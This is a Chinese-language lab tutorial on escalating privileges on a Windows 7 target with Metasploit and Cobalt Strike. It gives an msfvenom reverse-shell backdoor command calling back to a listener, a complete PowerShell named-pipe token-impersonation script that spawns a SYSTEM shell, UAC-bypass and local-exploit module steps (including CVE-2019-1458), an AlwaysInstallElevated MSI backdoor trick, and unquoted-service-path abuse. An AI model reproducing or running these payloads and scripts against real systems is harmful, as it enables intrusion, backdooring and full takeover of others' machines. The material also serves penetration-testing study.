一,Metasploit提权
1.Metasploit上线
先使用metasploit制作后门上线机器
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.18.130 lport=5445 -f exe -o 666.exe
创建监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.18.130 -P 5445
传入靶机win7,双击实现上线
2.getsystem自动提权
进入查看当前用户
直接命令提权 getsystem,但是失败
这是因为当前用户虽然是管理员权限,但是是受限制的管理员,因此,需要在win7上右键以管理员权限运行,再次上线执行system,执行成功
然后退出system
drop_token
3.getsystem手动
这里尝试在win7上手动实现getsystem来理解原理:
getsystem首先创建以system权限启动的程序,然后创建一个进程,让这个进程创建命名管道,让之前的需要system权限启动的程序连接,之后,用一个自带函数生成system的token,最后利用token启动cmd
这里有一个ps脚本用来创建命名管道
### named pipe server with impersonation (neeeds seimpersonateprivilege) ###
### parts of code from various sources ###
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
#not working on win >=10
#$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$Constants = @{
ACCESS_SYSTEM_SECURITY = 0x01000000
READ_CONTROL = 0x00020000
SYNCHRONIZE = 0x00100000
STANDARD_RIGHTS_ALL = 0x001F0000
TOKEN_QUERY = 8
TOKEN_ADJUST_PRIVILEGES = 0x20
ERROR_NO_TOKEN = 0x3f0
SECURITY_DELEGATION = 3
DACL_SECURITY_INFORMATION = 0x4
ACCESS_ALLOWED_ACE_TYPE = 0x0
STANDARD_RIGHTS_REQUIRED = 0x000F0000
DESKTOP_GENERIC_ALL = 0x000F01FF
WRITE_DAC = 0x00040000
OBJECT_INHERIT_ACE = 0x1
GRANT_ACCESS = 0x1
TRUSTEE_IS_NAME = 0x1
TRUSTEE_IS_SID = 0x0
TRUSTEE_IS_USER = 0x1
TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5
TRUSTEE_IS_GROUP = 0x2
PROCESS_QUERY_INFORMATION = 0x400
TOKEN_ASSIGN_PRIMARY = 0x1
TOKEN_DUPLICATE = 0x2
TOKEN_IMPERSONATE = 0x4
TOKEN_QUERY_SOURCE = 0x10
STANDARD_RIGHTS_READ = 0x20000
TokenStatistics = 10
TOKEN_ALL_ACCESS = 0xf01ff
MAXIMUM_ALLOWED = 0x02000000
THREAD_ALL_ACCESS = 0x1f03ff
ERROR_INVALID_PARAMETER = 0x57
LOGON_NETCREDENTIALS_ONLY = 0x2
SE_PRIVILEGE_ENABLED = 0x2
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1
SE_PRIVILEGE_REMOVED = 0x4
}
$Win32Constants = New-Object PSObject -Property $Constants
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
#Struct STARTUPINFO
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null
$STARTUPINFO = $TypeBuilder.CreateType()
#Struct PROCESS_INFORMATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null
$PROCESS_INFORMATION = $TypeBuilder.CreateType()
#API's
$OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
$CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW
$CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool])
$CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate)
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
#$DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx
#$DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool])
#$DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate)
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
############################## main ##########################################
$pipename="dummypipe"
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
$PipeSecurity.AddAccessRule($AccessRule)
$pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
$PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()
echo "Waiting for connection on namedpipe:$pipename"
$pipe.WaitForConnection()
$pipeReader = new-object System.IO.StreamReader($pipe)
$Null = $pipereader.ReadToEnd()
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
echo "ImpersonateNamedPipeClient: $Out"
$user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
###we are impersonating the user, everything we do before RevertoSelf is done on behalf that user
echo "user=$user "
### get the token of the thread impersonated by the user
$ThreadHandle = $GetCurrentThread.Invoke()
[IntPtr]$ThreadToken = [IntPtr]::Zero
[Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)
echo "OpenThreadToken:$result"
$RetVal = $RevertToSelf.Invoke()
echo $RetVal
$pipe.close()
#run a process as the previously impersonated user
$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize)
$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
$memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null
$processname="c:\windows\system32\cmd.exe"
$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname)
$ProcessArgsPtr = [IntPtr]::Zero
#CreateProcessWithTokenW does not care if the token is impersonation and not primary
$Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0,$ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
echo "CreateProcessWithToken: $Success $ErrorCode"
#####################################################################################
第一步:打开第一个cmd利用脚本创建命名管道
打开第一个管理员权限cmd运行脚本
powershell -ep bypass -f pipeserverimpersonate.ps1
可以看到,创建了一个dummypipe的命名管道,打开第二个管理员权限的cmd,进入powershell,执行命令查看命名管道
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
创建成功。
第二步:创建服务并启动服务进行连接
打开第三个管理员权限的cmd创建服务并启动服务进行连接
sc create wz-pipe binpath= "cmd /c echo test > \\.\pipe\dummypipe"//创建服务
sc qc wz-pipe//查询服务
sc start wz-pipe//运行服务
创建服务wz-pipe 内容是启动cmd 对刚刚创建的命名管道echo test ,连接时弹出的第四个cmd就具有system权限,如图
4.BypassUAC
windows中采用UAC来限制管理员的权限,所以就存在受限制的管理员;但是可以使用bypass来绕过UAC
首先靶机要双击木马,msf要有受限制的管理员上线,msf搜索bypassuac,挑一个方法进行使用,
使用2并设置配置最后运行
use 2//使用2
show options//查看配置
set SESSION 6 //我这里上线的机器session是6,就设置6
set Payload windows/x64/meterpreter/reverse_tcp //设置payload
show target //查看target都有哪些设置
set target x64 //设置为x64
run//运行
运行之后生成新的session 7,这里的管理员已经为以管理员权限运行的木马了,获取到之后就不用在靶机上右键以管理员身份运行木马就可以实现getsystem了
进行getsystem,成功
5.模块提权
使用模块:
post/multi/recon/local_exploit_suggester
首先要上线一个受限制的管理员权限的机器
然后使用模块,结果如下:
上边运行模块后出现可以利用的模块,随机使用一个进行提权exploit/windows/local/cve_2019_1458_wizardopium
配置好后,运行
提权成功
6.MSI安装包提权
在windows中 MSI是微软的安装包格式,他会在后台运行.exe,并以system权限启动安装,如果制作一个MSI安装包绑定生成的后门木马,只要win7点击安装,则会以system上线msf,制作MSI安装包可以在网上找
首先得确定靶机是否有此策略
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
现实中机器一般不会有此策略,因此这里在靶机上装一下
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1)
HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)
这里制作一个MSI安装包(因为要使win7点击安装,所以名字要有噱头)
传入win7,双击执行
实现system
7.服务提权
windows中服务一般都是以system权限启动的,系统在解析服务所对应的二进制文件路径中的空格也会以系统权限解析,如果一个服务的二进制文件路径a b/c d/e.exe,系统首先会查看当前有没有a.exe,如果有则把后边所有当作参数执行a.exe,如果没有,则继续解析,后边又遇到空格,在当前路径检查有没有c.exe有则后边当参数执行c.exe,没有则继续解析,直到解析到正确的e.exe,这里我们可以利用以下,如果在文件夹a b中放入一个后门木马名叫c.exe,则到空格时,检查到有c.exe,就不会去继续向下解析正确的e.exe,但是因为windows中存在服务控制管理器,当服务启动时,会跟服务控制管理器通信,服务控制管理器如果没收到通信,则会认为服务出现错误,终止进程,因为后门木马文件本质并不是服务,无法和服务控制管理器进行通信,所以要么直接上线不了,要么上线一会就下线
直接在win7上创造环境用来实验
# 管理员权限cmd用sc创建 Windows Folder Service
sc create "Windows Folder Service" binpath= "C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe" type= share start= auto displayname= "Windows Folder Service"
# 给目录赋予everyone用户完全控制权限
cacls.exe "C:\Program Files (x86)\Windows Folder" /c /e /t /g everyone:F
检查是否有可以利用的服务
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
用cmf生成木马,传入到对应的路径,手动重启win7,这样服务也会跟着重启,紧接着要么不上线要么上线就立马下线
二,cs提权
打开服务端
打开服务端连接
直接制作后门传入win7,双击上线
1.cs自带提权
选择提权
2.第三方插件提权
cs的优点就是可以使用第三方插件,所以导入第三方插件进行提权